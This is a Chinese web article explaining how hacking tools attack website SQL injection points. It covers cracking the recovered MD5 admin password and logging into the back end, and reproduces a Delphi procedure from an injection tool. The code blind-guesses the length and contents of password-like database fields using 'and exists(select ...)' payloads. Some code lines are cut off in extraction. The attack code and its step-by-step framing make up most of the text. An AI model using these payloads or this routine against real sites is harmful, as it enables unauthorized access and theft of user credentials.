![]() 上圖只是對一個網站注入點的工具檢測,當然看到了結果掃出來的密碼為16位的md5加密碼,但我們可以通過md5密碼破解工具進行破解的。然后找到后臺用所得的用戶名和密碼進行登錄即可。對于黑客軟件,其實并不是我們想象的那么復雜,只是根據掌握的漏洞信息提交相應該的數據罷了,我們看下下面一段用delphi寫的注入的片段就清楚不過了。這里控件的設置和線程的創(chuàng)建略,我們主要是看看猜解的過程,如下: procedure TMainForm.GuessContProc(ListInt: integer); { SQL注入 - 多線程猜解字段內容 } function SQLTextFunc(URl, TopStr, TableName, FieldName, LevelStr: string; Len: integer): string; begin Result := Url ’ and exists(select * from ’ TableName ’ where len(’ FieldName ’)’ LevelStr IntToStr(Len) ’ and id=(Select max(id) From ’ TableName ’ where id in (select top ’ TOPStr ’ id from ’ TableName ’ Order by id)))’ end; var TableName: string; FieldName, S: string; ContentInt: integer; i, Len, LengthInt, N: integer; GridCount: integer; Colu: TColumn; FlagBool: boolean; begin Len := 0; LengthInt := 0; FlagBool := True; TableName := TableNameLst.Items[TableNameLst.Itemindex]; FieldName := Memo2.Lines[ListInt]; if (LowerCase(FieldName) = ’password’) or (LowerCase(FieldName) = ’pass’) or (LowerCase(FieldName) = ’admin_pass’) or (FieldName = ’密碼’) or (LowerCase(FieldName) = ’userpassword’) or (LowerCase(FieldName) = ’passwd’) then begin ContentInt := Get_HttpSize(SQLTextFunc(sql_EdUrl.Text, sqlEdTop.Text, TableName, FieldName, ’=’, 16), 800); if ContentInt >= and1Num then begin SqlResultMemo.Lines.Add(FieldName ’長度: 16’); LengthInt := 16 end else begin while (Len begin application.ProcessMessages; inc(Len, 2); Pane1.Caption := ’正在檢測長度:Len(’ FieldName ’)=’ inttostr(Len); ContentInt := Get_HttpSize(SQLTextFunc(sql_EdUrl.Text, sqlEdTop.Text, TableName, FieldName, ’ if ContentInt >= and1Num then begin for N := Len - 1 to Len do begin ContentInt := Get_HttpSize(SQLTextFunc(sql_EdUrl.Text, sqlEdTop.Text, TableName, FieldName, ’=’, N), 800); if ContentInt >= and1Num then begin LengthInt := N; SqlResultMemo.Lines.Add(FieldName ’長度: ’ inttostr(N)); FlagBool := False; Break; end; // if end; // for end; // if end; // while end; end else begin while (Len begin application.ProcessMessages; inc(Len, 2); Pane1.Caption := ’正在檢測長度:Len(’ FieldName ’)=’ inttostr(Len); ContentInt := Get_HttpSize(SQLTextFunc(sql_EdUrl.Text, sqlEdTop.Text, TableName, FieldName, ’ if ContentInt >= and1Num then begin for N := Len - 1 to Len do begin ContentInt := Get_HttpSize(SQLTextFunc(sql_EdUrl.Text, sqlEdTop.Text, TableName, FieldName, ’=’, N), 800); if ContentInt >= and1Num then begin LengthInt := N; SqlResultMemo.Lines.Add(FieldName ’長度: ’ inttostr(N)); FlagBool := False; Break; end; // if end; // for end; // if end; // while end; GuessLsv.Clear; if Len >= 50 then begin sql_EdUrl.Enabled := True; Sql_GuessTable.Enabled := True; TableNameLst.Enabled := True; FieldNameLst.Enabled := True; application.MessageBox(’列名長度大于50,猜解失敗!’, ’提示’, 32); Exit; end; Pane1.Caption := ’正在檢測’ FieldName ’的內容...’; GuessLsv.Update; if LengthInt = 5 then begin ContentInt := Get_HttpSize(Sql_EdUrl.Text ’ and exists (select top ’ sqlEdTop.Text ’ ’ FieldName ’ from ’ TableName ’ where instr(’ FieldName ’,’’admin’’)=1 and len(username)=5)’); if ContentInt >= and1Num then begin s := ’admin’; for i := 1 to 5 do begin application.ProcessMessages; with GuessLsv.Items.Add do begin caption := ’第’ inttostr(i) ’位’; SubItems.Add(s); end; sleep(60); GuessLsv.Update; end; inc(SQL_ScanContent_ThreadCreateCount); StringGrid1.Cells[SQL_ScanContent_ThreadCreateCount - 1, 1] := ’admin’; StringGrid1.Cells[SQL_ScanContent_ThreadCreateCount, 1] := ’檢測中...’; SqlResultMemo.Lines.Add(FieldNameLst.Items[FieldNameLst.Itemindex] ’內容:admin’); if SQL_ScanContent_ThreadCreateCount GuessContProc(SQL_ScanContent_ThreadCreateCount - 1); Exit; end else begin for i := 1 to LengthInt do begin application.ProcessMessages; with GuessLsv.Items.Add do begin caption := ’第’ inttostr(i) ’位’; SubItems.Add(’檢測中’); end; sleep(30); end; end; end else begin for i := 1 to LengthInt do begin application.ProcessMessages; with GuessLsv.Items.Add do begin caption := ’第’ inttostr(i) ’位’; SubItems.Add(’檢測中’); end; sleep(30); end; end; 從上面的代碼中,我們可以看出,黑客軟件只是代替了手工操作,通過多線程更進一步提高了猜解的速度,但猜解的表和字段還得我們自己設定,然后通過post提交我們設定的格式(其中url中的 是空格的意思,因為在網址后面執(zhí)行相應的sql語句時都要有相應的空格),按照我們設定的表和字段猜解出相應的用戶名和密碼內容。 |
免責聲明:本站部分文章和圖片均來自用戶投稿和網絡收集,旨在傳播知識,文章和圖片版權歸原作者及原出處所有,僅供學習與參考,請勿用于商業(yè)用途,如果損害了您的權利,請聯系我們及時修正或刪除。謝謝!
始終以前瞻性的眼光聚焦站長、創(chuàng)業(yè)、互聯網等領域,為您提供最新最全的互聯網資訊,幫助站長轉型升級,為互聯網創(chuàng)業(yè)者提供更加優(yōu)質的創(chuàng)業(yè)信息和品牌營銷服務,與站長一起進步!讓互聯網創(chuàng)業(yè)者不再孤獨!
掃一掃,關注站長網微信